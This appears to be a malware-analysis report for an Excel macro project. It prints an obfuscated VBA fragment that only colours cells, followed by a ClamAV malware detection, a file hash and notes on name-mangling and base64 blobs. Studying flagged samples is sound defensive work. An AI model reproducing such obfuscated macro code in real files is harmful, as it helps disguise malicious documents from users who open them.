wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ:IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ").Interior.Color = vbRed
wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ:IFKMJsspOIFyBVNEHTPKHWGKtSMAswTXWbpCPiTJoQ").Interior.ColorIndex = 22
For m = 7 To 23 Step 8
    wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY" & m & ":F" & m + 6).Interior.Color = vbYellow
    wb.zRIrkzQVicAByXfZKnKEpMRbTCW("sHCOwPVBTVLLALnAdJMoLVIbcJNdKEWoTePvGCABLDFHBXOPhkThvRhBZBLGc").Range("bTMhDIHrZCKsEFSUnBFHnDNArUIXrUsOVbGKQzYJaNrUGEGBtUFrPZBKhtWJaJahhWBDY" & m - 1 & ":F" & m - 1).Interior.ColorIndex = 15
Next m

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 40448 bytes
SHA-256: c2af80a966f9d0179fa82b84c76b0af604e665c8f72b5a3b4cbd33ce00c6fc2a
Detection
ClamAV: Xls.Malware.Valyria-10036093-0
Obfuscation or payload: likely
358 of 584 identifiers look randomly generated (e.g. 'wLMJXCXfUpfcyzDvwiFzZnyWPsbQSHTXbHknBBRv') — consistent with name-mangling obfuscation. Carved artifact contains 3 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.